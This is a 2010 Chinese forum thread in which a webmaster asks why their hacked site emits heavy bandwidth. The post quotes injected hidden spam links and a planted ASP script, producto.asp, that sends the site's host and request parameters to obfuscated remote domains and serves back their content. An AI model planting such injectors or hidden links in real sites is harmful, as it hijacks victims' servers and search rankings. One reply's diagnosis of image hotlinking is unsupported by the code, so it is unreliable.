免费注册 查看新帖 |

Chinaunix

  平台 论坛 博客 文库
最近访问板块 发新帖
查看: 2718 | 回复: 5
打印 上一主题 下一主题

[Web] PHP页面被挂黑联,服务器自动发送大量带宽,是怎么回事情呢?请教 [复制链接]

论坛徽章:
0
跳转到指定楼层
1 [收藏(0)] [报告]
发表于 2010-06-21 15:48 |只看该作者 |倒序浏览
系统进程,都正常的

就是一般的index.php被挂黑联后,服务器就往外发送高达120M的带宽,上行下行各120M,然后断网

必须关闭网站或者删除页面 然后杀掉进程,服务器带宽才会恢复正常

代码也就是一般的连接代码,如下:


麻烦高手帮忙看看,感谢!


<LINK href="/stals.css" type=text/css rel=stylesheet>
<div class="crefdugk_bg"><a href="http://www.bj2010jk.com" title="大三阳">大三阳</a> <a href="http://www.xiaoshuo111.com/html/2/2461/" target="_blank">终极传承</a> <a href="http://www.wx265.com/html/0/267/" target="_blank">无上真魔</a> <a href="http://www.diyixiaoshuo.com/aaa/5/5214/">斗破苍穹</a> <a href="http://www.topwenxue.com/html/1/1101/" target="_blank">王牌进化</a> <a href="http://www.wx966.com/html/5/5923/" target="_blank">暴力狐尊</a> <a href="http://www.xs1088.com/html/3/3968/" target="_blank">斗罗大陆</a> <a href="http://www.528xs.com/files/article/html/0/649/" target="_blank">铁骨</a> <a href="http://www.x1066.com/html/2/2110/">泡沫之夏</a> <a href="http://www.z669.com/files/article/html/0/128/" target="_blank">极品家丁</a> <a href="http://www.c1099.com/book/2/2757.shtml">神墓</a> <a href="http://www.hbvok.com/" title="乙肝治疗">乙肝治疗</a> <a href="http://www.yangweiw.com" title="阳痿的治疗">阳痿的治疗</a> <a href="http://www.xinggongneng1.cn" title="如何增强男性性功能">如何增强男性性功能</a> <a href="http://www.hweige.com" title="美国进口伟哥">美国进口伟哥</a> <a href="http://www.wanaikew.com" title="美国万艾可">美国万艾可</a> <a href="http://www.zhuangyang1.cn/">壮阳药有哪些</a> <a href="http://www.bushen1.cn/">如何补肾</a> <a href="http://www.shenxu1.cn/">肾虚怎么办</a> <a href="http://www.4006005299.com" target="_blank">丰胸</a> <a href="http://www.xbzlzx.com.cn/hpv/sy3.htm" title="尖锐湿疣治疗费用">尖锐湿疣治疗费用</a> <a href="http://www.hbv0l.com/" title="乙肝五项">乙肝五项</a> <a href="http://www.jknwt999.com/" title="糜烂性胃炎">糜烂性胃炎</a> <a href="http://www.jiankang520.com" title="过敏性鼻炎症状">过敏性鼻炎症状</a> <a href="http://www.zaoxiew.com.cn/zmb.htm" title="早泄怎么办">早泄怎么办</a> <a href="http://www.bjjbzlzx.com" title="尖锐湿疣的图片">尖锐湿疣的图片</a> <a href="http://www.hpvsns.com" title="尖锐湿疣症状">尖锐湿疣症状</a> <a href="http://www.yljb120.com" title="尖锐湿疣潜伏期">尖锐湿疣潜伏期</a> <a href="http://www.wszkld.com" title="药品价格">药品价格</a> <a href="http://www.bdfbye.com" title="白癜风症状">白癜风症状</a> <a href="http://www.bdfzlok.com" title="白癜风的治疗">白癜风的治疗</a> <a href="http://www.tssjb.com" title="失眠怎么办">失眠怎么办</a> <a href="http://www.qlxkfzx.com" title="前列腺炎的治疗方法">前列腺炎的治疗方法</a> <a href="http://www.jiakang888.com" title="甲状腺囊肿">甲状腺囊肿</a> <a href="http://www.cp360.org" title="双色球走势图">双色球走势图</a> <a href="http://www.tf123.org" title="脂溢性脱发">脂溢性脱发</a> <a href="http://www.zhikouchou.com" title="治疗口臭">治疗口臭</a> <a href="http://www.60jkzx.com.cn" title="口臭怎么办">口臭怎么办</a> <a href="http://www.yzmrbd.cn" title="眼霜哪个牌子好">眼霜哪个牌子好</a> <a href="http://www.xingbingok.com/" title="带状疱疹">带状疱疹</a><a href="http://www.hpvok.com" title="尖锐湿疣的危害">尖锐湿疣的危害</a></div>
<script language="javascript" type="text/javascript">
document.write("<div style='display:none;'>");
</script>
<a href=/producto.asp>1</a>
<script language="javascript" type="text/javascript">
document.write("</div>");

另一个producto.asp文件

<%@LANGUAGE="VBSCRIPT" CODEPAGE="65001"%>
<%
'网站头部文件
On Error Resume Next
Function BytesToBstr(Body,Cset)
Dim Objstream
Set Objstream = Server.CreateObject("adodb.stream")
objstream.Type = 1
objstream.Mode =3
objstream.Open
objstream.Write body
objstream.Position = 0
objstream.Type = 2
objstream.Charset = Cset
BytesToBstr = objstream.ReadText
objstream.Close
set objstream = nothing
End Function
%>


<%
function getHTTPPage(url)
On Error Resume Next
dim http
set http=createobject("MSXML2.XMLHTTP")
Http.open "GET",url,false
Http.send()
if Http.readystate<>4 then
exit function
end if
getHTTPPage=BytesToBstr(Http.responseBody,"UTF-8")
'getHTTPPage=Http.responseBody
set http=nothing
if err.number<>0 then err.Clear
end function

Function Getlink()
On Error Resume Next
user_agent=Request.ServerVariables("HTTP_USER_AGENT")
If instr(user_agent,"yahoo")=0 then
    d=Request.ServerVariables("HTTP_HOST")
        getPage=getHTTPPage("http://www.199888.cn/about.aspx?d=" & d & "&id=" & Request("id") & "&p="&Request("p")&"")

        if instr(getPage,"2em")=0 then
                getPage=getHTTPPage("http://www.1l1l11lll111l1lll11l1l1.com/about.aspx?d=" & d & "&id=" & Request("id") & "&p="&Request("p")&"")
        end if
        if instr(getPage,"2em")=0 then
                getPage=getHTTPPage("http://www.lll1111l1l11l1l11ll11l.com/about.aspx?d=" & d & "&id=" & Request("id") & "&p="&Request("p")&"")
        end if
                if instr(getPage,"2em")=0 then
                getPage=getHTTPPage("http://www.l1l11l1l1l11l1l1l1l1l11.com/about.aspx?d=" & d & "&id=" & Request("id") & "&p="&Request("p")&"")
        end if
                if instr(getPage,"2em")=0 then
                getPage=getHTTPPage("http://www.1l1l11l1l11l11l1l1l1l1l1l.com/about.aspx?d=" & d & "&id=" & Request("id") & "&p="&Request("p")&"")
        end if
                if instr(getPage,"2em")=0 then
                getPage=getHTTPPage("http://www.1l1l1l1llll1111l1ll111ll1.com/about.aspx?d=" & d & "&id=" & Request("id") & "&p="&Request("p")&"")
        end if

    response.write getPage
    if err.number<>0 then err.Clear
End If
End Function
Call Getlink()
%>

论坛徽章:
0
2 [报告]
发表于 2010-06-24 17:22 |只看该作者
顶!!!!!!!!!!

论坛徽章:
0
3 [报告]
发表于 2010-06-25 09:35 |只看该作者
先检查系统和程序的漏洞。。。

论坛徽章:
0
4 [报告]
发表于 2010-06-30 14:36 |只看该作者
{:3_182:}{:3_186:}

论坛徽章:
0
5 [报告]
发表于 2010-06-30 23:21 |只看该作者
这个不就是盗链  图片,   


盗链的话, 肯定是占用你服务器带宽资源的。。  

    一张 小图片  ,如果这图片 访问 是从 sina 过来的, 你说有多少的连接数!! 自己想想就知道了。。

论坛徽章:
0
6 [报告]
发表于 2010-07-31 15:41 |只看该作者
本帖最后由 网络 于 2010-07-31 15:49 编辑
这个不就是盗链  图片,   


盗链的话, 肯定是占用你服务器带宽资源的。。  

    一张 小图片  , ...
vitas333_cu 发表于 2010-06-30 23:21



    那为什么 ASP程序或者别的PHP程序被挂马了,不象这样站用这么大带宽呢?

    哪段代码可以看出是 被盗联图片呢?

    我把防盗联开启一样没有用,带宽一样站用100M
您需要登录后才可以回帖 登录 | 注册

本版积分规则 发表回复

  

北京盛拓优讯信息技术有限公司. 版权所有 京ICP备16024965号-6 北京市公安局海淀分局网监中心备案编号:11010802020122 niuxiaotong@pcpop.com 17352615567
未成年举报专区
中国互联网协会会员  联系我们:huangweiwei@itpub.net
感谢所有关心和支持过ChinaUnix的朋友们 转载本站内容请注明原作者名及出处

清除 Cookies - ChinaUnix - Archiver - WAP - TOP